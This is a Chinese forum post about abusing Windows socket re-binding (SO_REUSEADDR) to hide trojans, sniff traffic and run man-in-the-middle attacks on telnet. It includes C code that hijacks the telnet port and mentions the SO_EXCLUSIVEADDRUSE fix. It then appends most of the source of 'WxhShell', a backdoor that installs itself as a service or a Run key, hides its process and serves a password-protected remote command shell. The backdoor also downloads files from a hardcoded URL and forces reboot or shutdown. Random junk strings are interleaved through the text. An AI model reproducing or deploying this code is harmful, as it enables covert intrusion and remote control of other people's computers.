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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Bv)4YU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7H=^~J  
Hh<3k- *d  
  saddr.sin_family = AF_INET; J(s%"d  
SjZ?keKZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EXrOP]Kl  
pH'1be{K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G.}Ex!8R7_  
2S{IZ]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _ 1? PN8  
2Q/#.lNL  
  这意味着什么?意味着可以进行如下的攻击: qDPpGI-Y2e  
bO:m^*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cHG>iW9C  
ti)4J2c,8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R8ui LZd  
qZ8 V/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,XZ[L? >  
<> &!+|#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h>l  
G#~6a%VW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NUclF|G  
)%}?p2.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R\oas"  
;h }^f-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dF- d  
nKoc%TNqe  
  #include ~ 3HI;  
  #include z [qO5z~I  
  #include o#IQz_  
  #include    nvyyV\w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #$qhxYyd  
  int main() SAa hkX  
  { #&hu-gMV  
  WORD wVersionRequested; fR4O^6c:  
  DWORD ret; <^Hh5kfS'  
  WSADATA wsaData; ,B,2t u2  
  BOOL val; bN#)F    
  SOCKADDR_IN saddr; I'_.U]An  
  SOCKADDR_IN scaddr; `B^ HW8  
  int err; b;[u=9ez  
  SOCKET s; ON$^_l/c  
  SOCKET sc; &f\ng{  
  int caddsize; d9hJEu!Lu  
  HANDLE mt; kdWk{ZT^  
  DWORD tid;   x{B%TM-Ey  
  wVersionRequested = MAKEWORD( 2, 2 ); o~Im5j],*  
  err = WSAStartup( wVersionRequested, &wsaData ); mh4NZ @;  
  if ( err != 0 ) { bB^SD] }C  
  printf("error!WSAStartup failed!\n"); D/jS4'$vA  
  return -1; @'K+   
  } k($N_XlE  
  saddr.sin_family = AF_INET; D;V FM P  
   =a_B'^`L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }tIIA"dZ  
0 w"&9+kV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4YVxRZ1[3  
  saddr.sin_port = htons(23); R ks3L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tv;|K's'  
  { ]0HlPP:2  
  printf("error!socket failed!\n"); Ef;OrE""  
  return -1; ((U-JeFW   
  } S> f8j?n  
  val = TRUE; V m1U00lM{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6m$,t-f0b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nl7=Nhh  
  { t._W643~  
  printf("error!setsockopt failed!\n"); <tEN1i  
  return -1; hr8v O"tZN  
  } Jmln*,Ol7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )ow|n^D($M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Um k9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BO b#9r  
~CQYF,[Th  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }5RCks;)*  
  { Q<y&*o3YF|  
  ret=GetLastError(); N'fE^jqU  
  printf("error!bind failed!\n"); Os?`!1-  
  return -1; A22h+8yG  
  } s!q6OVJ-  
  listen(s,2); o)P'H"Ki  
  while(1) t Ztyx;EP  
  { (8<U+)[tPy  
  caddsize = sizeof(scaddr); -vXX u;frt  
  //接受连接请求 3wEVjT-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #:v e3gWl  
  if(sc!=INVALID_SOCKET) nQc]f*  
  { uvK1gJrA)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +jFcq:`#UG  
  if(mt==NULL) 1{oq8LB  
  { F*F U[ 5  
  printf("Thread Creat Failed!\n"); /5@V $c8  
  break; s|U=_,.  
  } ]@W.5!5H  
  } Uk u~"OGC  
  CloseHandle(mt); g/b_\__A  
  } -d+q+l>0  
  closesocket(s); Qwn/ ,  
  WSACleanup(); qV$\.T>x  
  return 0; A0SEzX({[  
  }   \: H&.VQ"  
  DWORD WINAPI ClientThread(LPVOID lpParam) aClXg-  
  { l@FPTHq  
  SOCKET ss = (SOCKET)lpParam; &46h!gW  
  SOCKET sc; ,C88%k  
  unsigned char buf[4096]; :7t~p&J  
  SOCKADDR_IN saddr; ?|8H|LBIr  
  long num; Kr!(<i  
  DWORD val; 0xVue[ep  
  DWORD ret; g_G'%{T7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2*6b{}yJH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ">}l8MA  
  saddr.sin_family = AF_INET; MfhJb_q`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LYPjdp2>"o  
  saddr.sin_port = htons(23); wRL=9/5(8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0/d+26lR  
  { /s3AZ j9  
  printf("error!socket failed!\n"); Gb6t`dSzz  
  return -1; }g:y!p k  
  } [XWY-q#Gg  
  val = 100; (&4aebkZO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q/Dc*Qn m  
  { hPhNDmL#3  
  ret = GetLastError(); `MAluu+b  
  return -1; r5XG$:$8\  
  } i DV.L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %D|27gh  
  { (MiEXU~v  
  ret = GetLastError(); j?ihUNY!+  
  return -1; jN:!V t  
  } Ycypd\q/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4oT1<n`r+  
  { Paz yY   
  printf("error!socket connect failed!\n"); xQX,1NbH5  
  closesocket(sc); 7a Fvj  
  closesocket(ss); zhbp"yju7  
  return -1; A0sydUc  
  } Qi' ,[Xmf  
  while(1) 3A%/H`  
  { ,vEwck#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a;J{'PHu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5 T1M:~u i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [#>ji+%=  
  num = recv(ss,buf,4096,0); L;=:OX 0  
  if(num>0) & IVwm"  
  send(sc,buf,num,0); m5lMh14E  
  else if(num==0) RwMK%^b  
  break; 76a+|TzR  
  num = recv(sc,buf,4096,0); )&}\2NK6L  
  if(num>0) l/,O9ur-  
  send(ss,buf,num,0); U`_(Lq%5W  
  else if(num==0) ;/#E!Ja/ u  
  break; nj99!"_   
  } J&w%lYiu5  
  closesocket(ss); K^bzZa+a  
  closesocket(sc); *joy%F  
  return 0 ; R{.5Z/Vp6E  
  } (3`Q`o;  
k;PQVF&E  
vh3Xd\N  
========================================================== Hzs]\%"  
|><hdBQXX<  
下边附上一个代码,,WXhSHELL a<l(zJptG  
m RB-}  
========================================================== @BWroNg{  
4Y5Q>2D}  
#include "stdafx.h" s0"S;{_#  
r+fR^hv  
#include <stdio.h> D4[1CQ@}4D  
#include <string.h> n.]K"$230  
#include <windows.h> 2'_xg~  
#include <winsock2.h> #95.KkF  
#include <winsvc.h> 1TbY,3W  
#include <urlmon.h> ]Ln2|$R  
z"8%W?o>  
#pragma comment (lib, "Ws2_32.lib") 09<O b[%h  
#pragma comment (lib, "urlmon.lib") yCZV:R;  
*(@(9]B~  
#define MAX_USER   100 // 最大客户端连接数 _7>$'V{  
#define BUF_SOCK   200 // sock buffer 2%"2~d7  
#define KEY_BUFF   255 // 输入 buffer }Z*@EWc>  
PLR[nB7K  
#define REBOOT     0   // 重启 B Jp\a7`;  
#define SHUTDOWN   1   // 关机 ?1JVzZ4H  
l`8S1~j  
#define DEF_PORT   5000 // 监听端口 Tct8NG  
k L2(M6m  
#define REG_LEN     16   // 注册表键长度 Bsi HVr  
#define SVC_LEN     80   // NT服务名长度 Xk%92Pto  
sh(G{Yz@  
// 从dll定义API preKg $U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1lZl10M:f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N%!8I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GFasGHAw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ss'#sPX  
:U!knb"/>  
// wxhshell配置信息 p%~#~5t,  
struct WSCFG { 8#NtZ  
  int ws_port;         // 监听端口 {aP5Mem  
  char ws_passstr[REG_LEN]; // 口令 DK 4 8  
  int ws_autoins;       // 安装标记, 1=yes 0=no h}fz`ti U  
  char ws_regname[REG_LEN]; // 注册表键名 _2+}_ >d  
  char ws_svcname[REG_LEN]; // 服务名 |r5 np  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uc9t0]o=h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 An cmSi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9X&Xc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wjW>#DE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T6MlKcw,t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @sRRcP~  
S05+G}[$  
}; BYuF$[3ya&  
r4/G&m[V  
// default Wxhshell configuration p x1y#Q  
struct WSCFG wscfg={DEF_PORT, VAf"B5 R  
    "xuhuanlingzhe", T!e ]=  
    1, )$K )`uqb  
    "Wxhshell", GlYNC&,VL  
    "Wxhshell", -C]RFlV  
            "WxhShell Service", (&R /ns~  
    "Wrsky Windows CmdShell Service", @Z> {/  
    "Please Input Your Password: ", ]TQ2PVN2  
  1, DdDO.@-Z  
  "http://www.wrsky.com/wxhshell.exe", ve[` 0  
  "Wxhshell.exe" t%Hg8oya  
    }; xayo{l=uGv  
c jfYE]  
// 消息定义模块 n{JBC%^g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UN#XP$utY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~pA_E!3W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p\OUxAm  
char *msg_ws_ext="\n\rExit."; c}GmS@  
char *msg_ws_end="\n\rQuit."; k4jZu?\C]  
char *msg_ws_boot="\n\rReboot..."; heJI5t,  
char *msg_ws_poff="\n\rShutdown..."; % LeG.~?  
char *msg_ws_down="\n\rSave to "; $,$bZV  
;Z|X` <6g  
char *msg_ws_err="\n\rErr!"; 7Y T%.ID  
char *msg_ws_ok="\n\rOK!"; mne4uW  
- y[nMEE  
char ExeFile[MAX_PATH]; (A(7?eq  
int nUser = 0; p>Dv&fX  
HANDLE handles[MAX_USER]; 9qS~-'&q#  
int OsIsNt; }&A!h  
:N$^x /{  
SERVICE_STATUS       serviceStatus; "L^]a$&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a^_\#,}  
=.`(KXT  
// 函数声明 .lnyn|MVb  
int Install(void); a@:(L"Or  
int Uninstall(void); :VpRpj4f  
int DownloadFile(char *sURL, SOCKET wsh);  734)s  
int Boot(int flag); /H.w0fu&.S  
void HideProc(void); 94 58.!3  
int GetOsVer(void); +{U0PI82  
int Wxhshell(SOCKET wsl); #DK@&Gv  
void TalkWithClient(void *cs); ^\=<geEj  
int CmdShell(SOCKET sock); ) =-$>75Z  
int StartFromService(void); vYQ0e:P  
int StartWxhshell(LPSTR lpCmdLine); ;hb;%<xqT  
<[mT*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5(RFk Zn4[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +(n&>7 5  
&#!5I;3EN  
// 数据结构和表定义 )H@"S]?7i"  
SERVICE_TABLE_ENTRY DispatchTable[] = FG/".dU  
{ K ZoIjK]  
{wscfg.ws_svcname, NTServiceMain}, MH@=Qqx#=t  
{NULL, NULL} gDbj!(tm  
}; dsck:e5agZ  
kN(*.Q|VZ  
// 自我安装 YaiogA  
int Install(void) kI7c22OJ  
{ 'J\nvNm  
  char svExeFile[MAX_PATH]; ~q]@Jp  
  HKEY key; -]yM<dP  
  strcpy(svExeFile,ExeFile); 8R?X$=$]!.  
O@.C.5Ep  
// 如果是win9x系统,修改注册表设为自启动 /)RyRS8c  
if(!OsIsNt) { ILi{5L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !p$HS0c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }-YM>q  
  RegCloseKey(key); ; kPx@C   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zq]I"0Bi.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,:6gp3  
  RegCloseKey(key); W^j;"qj  
  return 0; Mttt]]  
    } r7B.@+QK  
  } ?VCdT`6=  
} %siBCjvo=  
else {  NGQBOV  
"&h{+DHS  
// 如果是NT以上系统,安装为系统服务 r{NCI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sBUK v(U)  
if (schSCManager!=0) aumWU{j=  
{ BK>3rjXi>a  
  SC_HANDLE schService = CreateService {jz?LM  
  ( yM* CA,(c  
  schSCManager, G<1)N T\u  
  wscfg.ws_svcname, ."`mh&+`  
  wscfg.ws_svcdisp, QuFzj`(  
  SERVICE_ALL_ACCESS, akR+QZ,)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o[=h=&@5p  
  SERVICE_AUTO_START, |,YyuCQcL[  
  SERVICE_ERROR_NORMAL, K]c|v i_D  
  svExeFile, kyV!ATL1F  
  NULL, vh+ ' W  
  NULL, ,uz+/K%OA5  
  NULL, /G[2   
  NULL, <'(O0  
  NULL _(A9k{  
  ); 2;8I0BH*'  
  if (schService!=0) Nf@-i`  
  { dKk\"6 o  
  CloseServiceHandle(schService); +]?/c>M  
  CloseServiceHandle(schSCManager); 'v|R' wi\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [[vu#'bc  
  strcat(svExeFile,wscfg.ws_svcname); dU4  h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kdmmfw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }jL_/gvgy  
  RegCloseKey(key); m .:2G  
  return 0; h\qQ%|X  
    } (29h{=P'  
  } %K9pnq/T^  
  CloseServiceHandle(schSCManager); C1V:_-  
} ]IF QD  
} k[_)5@2  
!u)>XS^E  
return 1; |A .U~P):  
} {TmrWFo  
%P3|#0yg0  
// 自我卸载 VIIBw  
int Uninstall(void) YgiLfz iT  
{ D./!/>@f  
  HKEY key; RC[mpR ;2  
.~3s~y*s  
if(!OsIsNt) { ,Z3 (`ftC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mZ%"""X\Ei  
  RegDeleteValue(key,wscfg.ws_regname); 4O I''i  
  RegCloseKey(key);  5yA1<&z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *s=jKV#  
  RegDeleteValue(key,wscfg.ws_regname); adCTo  
  RegCloseKey(key); GbFtX\s+5j  
  return 0; ]t2zwHo#  
  } cA,`!dG2,  
} +ConK>;  
} [quT&E  
else { M53{e;.kN  
w(,K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9` a1xnL  
if (schSCManager!=0) DfPC@` k  
{ wSV}{9}wr%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /JcfAY  
  if (schService!=0) $Gy&  
  { kzkrvC+u  
  if(DeleteService(schService)!=0) { / 5\gP//9K  
  CloseServiceHandle(schService); 4+tKg*|  
  CloseServiceHandle(schSCManager); m2{DLw".  
  return 0; ,ORwMZtw{H  
  } cr wui8  
  CloseServiceHandle(schService); "r+v^  
  } R5"5Z?'  
  CloseServiceHandle(schSCManager); uGoySt&;(  
} xr*%:TwCta  
} V(6*wQ`&  
DqH?:`G  
return 1; `d,v  
} #7*{ $v  
_N @ h  
// 从指定url下载文件 ;q"Yz-3  
int DownloadFile(char *sURL, SOCKET wsh) x$SxGc~4gb  
{ T A9Kg=_  
  HRESULT hr; w'r?)WW$  
char seps[]= "/"; )'1rZb5  
char *token; K|Cb6''  
char *file; xs}3=&c(  
char myURL[MAX_PATH]; $n><p>`  
char myFILE[MAX_PATH]; qH=<8Iu  
Nn/f*GDvK  
strcpy(myURL,sURL); 7u=R5  
  token=strtok(myURL,seps);  fOUW{s  
  while(token!=NULL) &^7^7:Y=?  
  { Lu][0+-  
    file=token; RE<s$B$[  
  token=strtok(NULL,seps); @CB&*VoB  
  } ! ^ DQX=1  
dSP~R  
GetCurrentDirectory(MAX_PATH,myFILE); m) q e  
strcat(myFILE, "\\"); xwJ. cy  
strcat(myFILE, file); `;c{E%qeq  
  send(wsh,myFILE,strlen(myFILE),0); /cXVJ(#j  
send(wsh,"...",3,0); NZQl#ZJH:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \*+-Bm:$j  
  if(hr==S_OK) Ovhd%qV;Y  
return 0; 'JpCS  
else x & ZW f?  
return 1; x|=]Xxco  
J1\H^gyW)  
} +7V4mF!u  
c$fYK  
// 系统电源模块 S|Yz5)*  
int Boot(int flag) q}+Fm?B   
{ =jWjUkm2  
  HANDLE hToken; +EOd9.X\~  
  TOKEN_PRIVILEGES tkp; q(XO_1W0V  
FhFP M)[  
  if(OsIsNt) { L60Sc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1w$X;q"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 05ZF>`g*  
    tkp.PrivilegeCount = 1; 8WP|cF]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xgQ&'&7l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5*hA6Ex7  
if(flag==REBOOT) { L#~z#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R^f-j-$o]  
  return 0; U{Xx)l/o  
} YVW`|'7)|  
else { GE!fh1[[u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (X?et &  
  return 0; LD gGVl  
} xV\mS+#  
  } RQ*oTsq  
  else { EG#mNpxE  
if(flag==REBOOT) { *%aWGAu:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DlF6tcoI  
  return 0; zf.&E3Sn  
} JBMJR  
else { _0Z8V[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2PDU(R  
  return 0; q_b,3Tp  
} g5[r!XO  
} Ap)pOD7  
=}1m.  
return 1; d+L!s7  
} E5.@=U,c  
gCP f1z  
// win9x进程隐藏模块 =C4!h'hz  
void HideProc(void) ++|vy~T  
{ g+pj1ycw/  
x*a^msY%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,xOOR   
  if ( hKernel != NULL ) 2od 9Q=v~  
  { =2&Sw(6j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i7jI(VvB^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m[$pj~<\  
    FreeLibrary(hKernel); 48g`i  
  } ;0JK>c ]#  
d3&l!DoX  
return; =LyR CrA  
} I%'6IpR"d  
=g^k$ Rc  
// 获取操作系统版本 E,gpi  
int GetOsVer(void) bKac?y~S_  
{ U6Xi-@XP  
  OSVERSIONINFO winfo; !wr2OxK*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c 0.? d]  
  GetVersionEx(&winfo); sA:k8aj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lr~c w#h*  
  return 1; Nu4PY@m]C  
  else b75en{aDi*  
  return 0; t_NnQ4)=  
} ?>T (  
$guaUe[x  
// 客户端句柄模块 yN:U"]glC  
int Wxhshell(SOCKET wsl) 7 P/1'f3  
{ `CqF&b  
  SOCKET wsh; D&/~lhyNZ  
  struct sockaddr_in client; 4&_|myO&  
  DWORD myID; *<#$B}!{  
2E_d$nsJ  
  while(nUser<MAX_USER) ~Blsj9a2  
{ %O02xr=  
  int nSize=sizeof(client); 8iXt8XY3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m5kt O^EU  
  if(wsh==INVALID_SOCKET) return 1; h$_5)d~  
oBI@.&tG}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GSaU:A  
if(handles[nUser]==0) ]`T*}$|  
  closesocket(wsh); "H3DmsB  
else K;P<c,9X/  
  nUser++; vI5'npM  
  } 4Tn97G7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %=<Kb\  
5"^Z7+6  
  return 0; z8*{i]j  
} y#?AW`|  
"[Hn G(gA  
// 关闭 socket /~}<[6ZGCY  
void CloseIt(SOCKET wsh) .EdQ]c-E=  
{ >O/1Lpl.3  
closesocket(wsh); )Bpvi4O  
nUser--; i_ z4;%#?  
ExitThread(0);  c FV3  
} ]~t4E'y)z  
pGT?=/=*  
// 客户端请求句柄 QvvH/u  
void TalkWithClient(void *cs) )I(2t 6i  
{ ]>H'CM4JR  
[*W l=  
  SOCKET wsh=(SOCKET)cs; gkMyo`  
  char pwd[SVC_LEN]; bO6LBSZx]  
  char cmd[KEY_BUFF]; < NlL,  
char chr[1]; k:* (..!0z  
int i,j; rlP?Uh  
344E4F"ph  
  while (nUser < MAX_USER) { I6.}r2?;A  
-0:Equ?pz  
if(wscfg.ws_passstr) { a@s@E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?r/)s()ALf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P`]p&:  
  //ZeroMemory(pwd,KEY_BUFF); 0;SRmj@W  
      i=0; {"n=t`E)3  
  while(i<SVC_LEN) { `R@b`3*%v  
aZB$%#'vR  
  // 设置超时 :~4 M9  
  fd_set FdRead; l2 mO{'|C  
  struct timeval TimeOut; =, G^GMi'  
  FD_ZERO(&FdRead); l#^weXSlk  
  FD_SET(wsh,&FdRead); %Q y9X+N:  
  TimeOut.tv_sec=8; MGfIA?u  
  TimeOut.tv_usec=0; \+VQoB/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2YhtD A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *z6m644H  
$4u8"ne)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }&Kl)2:O  
  pwd=chr[0]; %mr6p}E|  
  if(chr[0]==0xd || chr[0]==0xa) { U2HAIV8  
  pwd=0; ,l7',@6Y  
  break; iiD }2y b  
  } a1 .+L  
  i++; iJVm=0WS^  
    } +_v#V9?  
6hAMk<kx?i  
  // 如果是非法用户,关闭 socket P?$Iht.^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d[$YTw  
} =L9;8THY  
cd:VFjT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ObEp0-^?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c(r8 F[4w  
zelM}/d  
while(1) { _(0GAz%9  
$Fik]TbQp  
  ZeroMemory(cmd,KEY_BUFF); U8GvUysB!  
!7y:|k,ac  
      // 自动支持客户端 telnet标准   X].Igb)2  
  j=0; &hSF  
  while(j<KEY_BUFF) { FC }r~syqA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RC+`sZ E9  
  cmd[j]=chr[0]; (U^f0wJg  
  if(chr[0]==0xa || chr[0]==0xd) { qY$]^gS  
  cmd[j]=0; H&h"!+t(#  
  break; E=L 1q)  
  } f3"sKL4|  
  j++; y7/=-~   
    } -$tf`   
WNWtQ2]  
  // 下载文件 &LDA=B  
  if(strstr(cmd,"http://")) { Q/^a(   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wk-jaz  
  if(DownloadFile(cmd,wsh)) NW`L6wgl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SeIL   
  else ^_!2-QY.~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  YW'l),Z  
  } {LoNp0i1a  
  else { *4?%Y8;bF6  
5%;=(Oig  
    switch(cmd[0]) { N5|wBm>m  
  \>p\~[cxt  
  // 帮助 |[/'W7TV%?  
  case '?': { r9!,cs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x{I, gu|+  
    break; ZZJ<JdD  
  } .kZ<Q]Vk  
  // 安装 =}m'qy  
  case 'i': { Ah Rvyj  
    if(Install()) >@?`n}r|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B'!I{LC  
    else s]Qo'q2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {RHa1wc  
    break; | rwx; +  
    } 9MUg/  
  // 卸载 p n(y4we  
  case 'r': { =L&dV]'4P  
    if(Uninstall()) 9 gWqs'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[|ZceY  
    else 'NSfGC%7R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &9Xn:<"`)  
    break; _8&a%?R@W  
    } uE-|]QQo  
  // 显示 wxhshell 所在路径 ~U<=SyZYo  
  case 'p': { WIYWql>*  
    char svExeFile[MAX_PATH]; xa$4P [  
    strcpy(svExeFile,"\n\r"); B)=)@h[f  
      strcat(svExeFile,ExeFile); + 3c (CTz  
        send(wsh,svExeFile,strlen(svExeFile),0);  RR[1mM  
    break; ~R  C\  
    } )bl^:C  
  // 重启 "eZ~]m}L0  
  case 'b': { UB3hC`N\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \CVrLn;}  
    if(Boot(REBOOT)) c%5Suu( J6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \<Di |X1  
    else { p%ZAVd*|#V  
    closesocket(wsh); k4`(7Z  
    ExitThread(0); ,FWsgqL{l  
    } a&%v^r[  
    break; /f]'_t0\.  
    } )8 %lZ {  
  // 关机 !T$h? o  
  case 'd': { @:K={AIa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $64sf?aZ>#  
